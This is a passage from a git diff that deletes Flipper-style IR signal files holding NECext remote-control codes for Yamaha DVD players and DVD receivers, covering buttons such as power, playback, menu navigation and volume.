-address: 7C 00 00 00 -command: B1 00 00 00 -# -name: ABCDE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir deleted file mode 100644 index 8180b9f41..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: INPUT:_VCR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: INPUT:_DVD/CD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: YPAO_-_TEST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 86 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 87 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 88 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 88 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 90 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 90 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: YPAO_-_START -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A3 00 00 00 -# -name: YPAO_-_ON/OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A4 00 00 00 -# -name: DSP_-_MOVIE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D9 00 00 00 -# -name: DSP_-_MUSIC -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DA 00 00 00 -# -name: DSP_-_SPORTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DB 00 00 00 -# -name: DSP_-_GAME -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DC 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir deleted file mode 100644 index afea315c8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A7 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir deleted file mode 100644 index 773c6d025..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir +++ /dev/null @@ -1,1022 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER:_TOGGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: FUNCTN:_OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 81 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 81 00 00 00 -# -name: FUNCTN:_PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: FUNCTN:_PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: FUNCTN:_STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: FUNCTN:_SEARCH- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH/SLOW_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: FUNCTN:_SEARCH+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SEARCH/SLOW_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SEARCH_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: FUNCTN:_DISC_SKIP- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8A 00 00 00 -# -name: FUNCTN:_DISC_SKIP+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8B 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8B 00 00 00 -# -name: NUMERIC:_0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: NUMERIC:_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: NUMERIC:_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: NUMERIC:_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: NUMERIC:_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: NUMERIC:_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: NUMERIC:_6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: NUMERIC:_7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: NUMERIC:_8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: NUMERIC:_9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: NUMERIC:_+10/_>10 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: PROG:_CANCEL/CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: CANCEL/CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: PROG:_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A0 00 00 00 -# -name: PROG:_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A1 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A1 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A1 00 00 00 -# -name: PROG:_REPEAT_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REPEAT_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: PROG:_REPEAT_A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: SET:_DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: OSD_TOG -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: SET:_TIME -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: SET:_DIMMER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A9 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A9 00 00 00 -# -name: SET:_SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AB 00 00 00 -# -name: SUBTITLE_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AB 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AC 00 00 00 -# -name: SET:_SETUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AC 00 00 00 -# -name: SET:_AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: SET:_ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AE 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AE 00 00 00 -# -name: FUNCTN:_TOP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: TOP_MENU/RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: TOP_MENU/_DIR.NAV. -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: TOP_MENU/_RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: FUNCTN:_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: FUNCTN:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: FUNCTN:_CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: FUNCTN:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: FUNCTN:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: FUNCTN:_RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: FUNCTN:_SELECT/ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: FUNCTN:_SKIP- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP/SEARCH_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP/SEARCH_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: FUNCTN:_SKIP+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP/SEARCH_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP/SEARCH_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: PLAY_MODE:_TOG -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BD 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: C0 00 00 00 -# -name: VIDEO_RESET -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: C1 00 00 00 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: C2 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: C3 00 00 00 -# -name: POP-UP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: CF 00 00 00 -# -name: SUB_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D0 00 00 00 -# -name: FUNCTN:_DISC_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D1 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D1 00 00 00 -# -name: FUNCTN:_DISC_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D2 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D2 00 00 00 -# -name: FUNCTN:_DISC_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D3 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D3 00 00 00 -# -name: FUNCTN:_DISC_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D4 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D4 00 00 00 -# -name: FUNCTN:_DISC_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D5 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D5 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D7 00 00 00 -# -name: SET:_MARKER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D8 00 00 00 -# -name: SET:_VIDEO_TOGGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: PURE_DIRECT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: AUDIO_DIRECT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: SET:_PROGRESSIVE_TOG -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DA 00 00 00 -# -name: SET:_GROUP_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DD 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DE 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DF 00 00 00 -# -name: SET:_PAGE_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DF 00 00 00 -# -name: SET:_PLAYER_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E0 00 00 00 -# -name: SET:_MULTI/2CH -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E1 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E1 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E2 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E4 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E5 00 00 00 -# -name: FUNCTIONS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E8 00 00 00 -# -name: A_(RED) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E9 00 00 00 -# -name: B_(GREEN) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EA 00 00 00 -# -name: C_(BLUE) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EB 00 00 00 -# -name: D_(YELLOW) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EC 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: ED 00 00 00 -# -name: SECONDARY_AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EE 00 00 00 -# -name: BD/SD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EF 00 00 00 -# -name: PLAY_MODE:_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAY_MODE_-_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAYMODE_-_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAY_MODE:_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAY_MODE_-_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAYMODE_-_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAY_MODE:_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PLAY_MODE_-_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PLAYMODE_-_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PROG:_REPEAT_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F3 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F3 00 00 00 -# -name: PROG:_REPEAT_ALL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F5 00 00 00 -# -name: REPEAT_ALL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F5 00 00 00 -# -name: POWER:_ON -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 -# -name: POWER:_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F7 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir deleted file mode 100644 index 899a5efda..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 07 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir deleted file mode 100644 index 7e30d4529..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir +++ /dev/null @@ -1,752 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 